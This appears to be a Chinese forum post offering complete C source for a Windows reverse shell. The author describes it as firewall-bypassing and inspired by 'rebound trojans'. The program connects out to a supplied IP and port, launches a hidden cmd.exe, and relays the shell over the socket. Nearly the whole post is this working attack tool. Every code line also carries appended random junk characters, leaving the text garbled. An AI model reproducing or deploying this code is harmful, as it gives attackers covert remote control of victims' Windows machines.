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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 D\^mh{q(  
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/* ============================== 1B#iJZ}  
Rebound port in Windows NT `@xnpA]l  
By wind,2006/7 f AY(ro9Q(  
===============================*/ 7@R^B=pb  
#include LC7%Bfn!  
#include o2D;EUsNX  
,|g&v/WlC%  
#pragma comment(lib,"wsock32.lib") )[ QT ?;  
q eDXG  
void OutputShell(); 5O(U1 *  
SOCKET sClient; %I=/ y  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; u4tv= +jh  
Tn"@u&P *  
void main(int argc,char **argv) {%_D> y  
{ \9fJ)*-  
WSADATA stWsaData; eZ]>;5  
int nRet; j[Jwa*GQP  
SOCKADDR_IN stSaiClient,stSaiServer; V%(T#_E/6  
An_3DrUFV_  
if(argc != 3) KVevvy)W  
{ 2]y Hxo/6  
printf("Useage:\n\rRebound DestIP DestPort\n"); \[G"/]J  
return; ;qO3m -(d  
} Kv)Kn8df  
f?r{Q  
WSAStartup(MAKEWORD(2,2),&stWsaData); AJ>$`=  
]VR79l  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #<y/m*Ota  
O7%8F Y  
stSaiClient.sin_family = AF_INET; [!C!R$AMa  
stSaiClient.sin_port = htons(0); p//mV H%  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4p7j "d5  
:IX,mDO  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) DUSQh+C  
{ ? o&goiM  
printf("Bind Socket Failed!\n"); v^J']p  
return; (}5};v  
} mPF<2:)wv  
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stSaiServer.sin_family = AF_INET;  9mW   
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {e$ @i  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ykRd+H-t  
 HzL~B#  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %ikPz~(  
{ ~|[i64V<^  
printf("Connect Error!"); ![!,i\x  
return; nq,:UYNJ  
} R , #szTu  
OutputShell(); 8`s*+.LI!  
} _%3p&1ld  
XqU0AbQ  
void OutputShell() FJq g,  
{ g*Pn_Yo[.  
char szBuff[1024]; EL%Pv1  
SECURITY_ATTRIBUTES stSecurityAttributes; j<QK1d17  
OSVERSIONINFO stOsversionInfo; t%%zuqF`  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6-~ZOMlV  
STARTUPINFO stStartupInfo; G)?j(El  
char *szShell; <00nu'Ex1v  
PROCESS_INFORMATION stProcessInformation; \x<,Ma=D  
unsigned long lBytesRead; QL @SE@"  
#)m [R5g(  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Em4'b1mDX%  
H ?eG5  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2c51kG77E  
stSecurityAttributes.lpSecurityDescriptor = 0; DxD\o+:r  
stSecurityAttributes.bInheritHandle = TRUE; ]heVR&bQ  
vT MCZ+^g  
CfO{KiM(2  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); L8f_^ *,  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); z}iz~WZ  
<>(v~a]  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); M1]w0~G  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ve qB/Q X  
stStartupInfo.wShowWindow = SW_HIDE; P^ht$)Y  
stStartupInfo.hStdInput = hReadPipe; I]HLWF  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7Le- f  
P8#_E{f  
GetVersionEx(&stOsversionInfo); nVrV6w  
PbY.8d%2/k  
switch(stOsversionInfo.dwPlatformId) $2Awp@j  
{ 8#R%jjr%T  
case 1: G({5LjgW  
szShell = "command.com"; QkWEVL@uM  
break; fT{jD_Q+3  
default:  ^Y!$WP  
szShell = "cmd.exe"; H]*B5Jv~  
break; oGyoU#z#  
} 1;+77<  
tKeozV[V  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); -7XaS&.4  
V lkJ$f5l  
send(sClient,szMsg,77,0); |9F-ZH~6  
while(1) E:O/=cT  
{ p.<d+S<  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3 g:P>(  
if(lBytesRead) Hq~SRc~  
{ \II^&xSF  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); +3M1^:  
send(sClient,szBuff,lBytesRead,0); Y] UoV_  
}  $C,` ^n'  
else /cVZ/"  
{ TwF.UL@G%  
lBytesRead=recv(sClient,szBuff,1024,0); OlptO60{ ]  
if(lBytesRead<=0) break; [S-#}C?~  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 9. ,IqnP  
} "rc QS H  
} o.Bbb=*rZ  
8M,z#DF  
return; 82V;J 8T?  
}
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